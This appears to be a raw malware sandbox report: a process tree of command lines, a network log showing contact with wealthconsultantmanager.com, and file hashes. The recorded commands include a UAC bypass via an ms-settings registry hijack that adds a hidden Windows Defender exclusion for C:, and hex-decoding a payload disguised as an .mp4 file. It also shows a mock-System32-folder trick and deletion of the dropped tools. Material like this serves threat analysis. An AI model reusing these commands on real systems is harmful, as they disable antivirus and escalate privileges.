"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Nayjqohr.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
BE 104.68.66.114:443 cxcs.microsoft.net tcp
NL 23.62.61.171:443 www.bing.com tcp
US 8.8.8.8:53 114.66.68.104.in-addr.arpa udp
US 8.8.8.8:53 171.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 wealthconsultantmanager.com udp
US 108.170.55.202:443 wealthconsultantmanager.com tcp
US 108.170.55.202:443 wealthconsultantmanager.com tcp
US 8.8.8.8:53 202.55.170.108.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqwozovj.swn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4056-41-0x0000019AD7E60000-0x0000019AD7E82000-memory.dmp

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Users\Public\Ping_c.mp4

MD5 182901dd6c35f6cc65a8c4103d8beddd
SHA1 a52233a6ceb0009ef6284909f4389ed20443d39e
SHA256 9d77adc9eea50fd91430684ad42ee8e17ff8269366ecbbab65ad5d5c6ba7beb8
SHA512 9e790b3907f11cb789a8b9f9d06925ac22b1d2b130da82a6f0e71415e362b3eb8a80627c2a58da12b6c60c56e293c5b5d6bed4b3b630bec7f8a6f4f5ca229a0e

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

C:\Users\Public\Libraries\Ping_c.pif

MD5 de5de91a0288d235eccab327f5c506df
SHA1 1c71bda09faa6a04c6c00c331531af76676511f3
SHA256 10297db5ec0a0804324c1b2cda6a0b304cd3a2cf7cc807bf8532a7753e7f8b28
SHA512 d7448847bdbc1cdd1819debad50f329ac5e946355751ebcbd4acba370be89716f6c75159376339ca78aaadeac97803a087e8703067a5eda1e6d739a09916a068

memory/1212-75-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/4108-86-0x0000000015C30000-0x0000000015CB2000-memory.dmp

memory/4108-81-0x0000000003E10000-0x0000000004E10000-memory.dmp

memory/4108-87-0x0000000015C30000-0x0000000015CB2000-memory.dmp

memory/4108-83-0x0000000015C30000-0x0000000015CB2000-memory.dmp

memory/4108-88-0x0000000015C30000-0x0000000015CB2000-memory.dmp